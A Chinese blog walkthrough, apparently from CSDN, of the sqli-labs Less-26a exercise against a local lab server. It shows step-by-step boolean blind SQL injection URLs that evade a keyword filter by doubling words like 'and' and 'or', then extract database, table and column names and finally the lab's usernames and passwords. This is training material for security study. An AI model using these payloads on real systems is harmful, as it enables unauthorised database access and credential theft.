SQL注入分析-less-26a

SQL注入分析-less-26a

1、还是按照提示,在地址栏输入参数。

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1

正常回显,结果如下:
在这里插入图片描述
2、SQL注入的一般做法,还是输入单引号试试。

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1%27

在这里插入图片描述
这里没有返回结果,也没有报错信息,有两种可能性,一种可能性是查询条件错误;另一种可能性是单引号导致SQL语句没有正常闭合,因为这关利用的方式是盲注,所以没有对应报错信息,只能是一步一步的试探。

3、输入双引号试试。

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1"

在这里插入图片描述
结果,正常回显,由此可以得出两个结论,1)此关的注入类型依旧是字符型注入;2)对输入的单引号敏感,对双引号不敏感;所以初步判定后续还是需要通过单引号来进行闭合。

4、首先,尝试通过单引号闭合,使得SQL语句正常拼接和执行,构造输入如下。

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1’anandd’1’='1

在这里插入图片描述
正常回显,接下来让条件不成立试试:

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1’anandd’1’='2

在这里插入图片描述
没有正常回显,猜想成立。

5、接下来,构造输入,获取库名,因为这里是盲注,我们只能一步一步试探,思路是先报库长,再报库名。

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1’anandd(length(database())<10)anandd’1’='1

虽然是试库长,但是还是应该注意相应技巧,提高效率,这里用二分法来确定库长。

在这里插入图片描述
正常回显,说明数据库的长度比10小,继续。

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1’anandd(length(database())>5)anandd’1’='1

在这里插入图片描述
正常回显,说明数据库的长度5<x<10,继续。

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1’anandd(length(database())>7)anandd’1’='1

在这里插入图片描述
正常回显,说明数据库的长度在7-10之间,7-10之间只有8和9了,接下来我们用等号来判断即可。

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1’anandd(length(database())=8)anandd’1’='1

在这里插入图片描述
正常回显,应该就是8了,我来试下9看看。

在这里插入图片描述
没有正常回显,得出数据库的长度是8,继续报库名。

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1’anandd(substr((database()),1,1)=‘s’)anandd’1’='1

这里需要用26个英文字母一个一个的来试,过程比较长,就不详细体现了,测试过程中修改substr的长度从1-8,用26个英文字母来进行遍历,最终我们得到了库名security,这个结果跟less-26的结果是一样的哈,应该没错了,堆了快3500字了,还没完呢,手有点酸,先到这。。。

6、吃饱了,继续,库名出来了,我们来报表名,还是上面的思路,先报表长,再报表名,这里报表名要复杂一点啊,具体的思路是:
1)用group_concat把security中的表作为一列字符串输出;
2)用length函数获取字符串的长度,默认情况下,用group_concat连接起来的字符串是用逗号隔开的;

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1’anandd(length((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=‘security’)))>10)anandd’1’='1

在这里插入图片描述
正常回显,由此可知表连接后的字符串长度x>10,继续。

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1’anandd(length((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=‘security’)))>30)anandd’1’='1

在这里插入图片描述

没有正常回显,10<x<30,继续。

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1’anandd(length((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=‘security’)))>20)anandd’1’='1

在这里插入图片描述
正常回显,20<x<30,继续重复此步骤,不细写了,得出字符串长度为x=29,继续。

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1’anandd(length((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=‘security’)))=29)anandd’1’='1

在这里插入图片描述

3)用substr的长度从1-x(x是表连接起来的长度),用26个英文字母来进行遍历,最终得到我们需要的存储用户名和密码的表的信息。走起:

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1’anandd(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=‘security’)),1,1)=‘e’)anandd’1’='1

得到x的第一个字符是e,依次遍历,得到4个表分别是:emails,referers,uagents,users,所以我们拿到了我们需要的表名users。

7、继续,我们要获取列的信息,思路和获取表的信息一样,先获取列长,再获取列名。

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1’anandd(length((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=‘security’)anandd(table_name=‘users’)))=20)anandd’1’='1

得出由列串起来的长度为y=20,继续。

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1’anandd(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=‘security’)anandd(table_name=‘users’)),1,1)=‘i’)anandd’1’='1

得到y的第一个字符是i,依次遍历,得到users表的3个列名分别是:id,username,password。
在这里插入图片描述

8、最后,我们获取对应字段(列)的数据。

思路同上,先获取group_concat组合后的字符串长度,再获取数据。

这里拿获取username字段为例:

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1’anandd(substr((select(group_concat(username))from(security.users)),1,1)=‘D’)anandd’1’='1

嘿嘿,这里要短一点了,看着舒服些吧,继续哈。

在这里插入图片描述

按照顺序,依次可以得到username的值为Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4。

password的值为: Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,123456,admin1,admin2,admin3,dumbo,admin4。

注意:

http://192.168.88.129/sqli-labs-master/Less-26a/?id=1’anandd(substr((select(group_concat(passwoorrd))from(security.users)),1,1)=‘D’)anandd’1’='1

password在输入时要使用passwoorrd吃掉or,好了,至此,我们就拿到了最终我们要拿的信息了,写了这么多,觉得有点收获的童鞋们,点个赞再走吧,谢谢啦!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值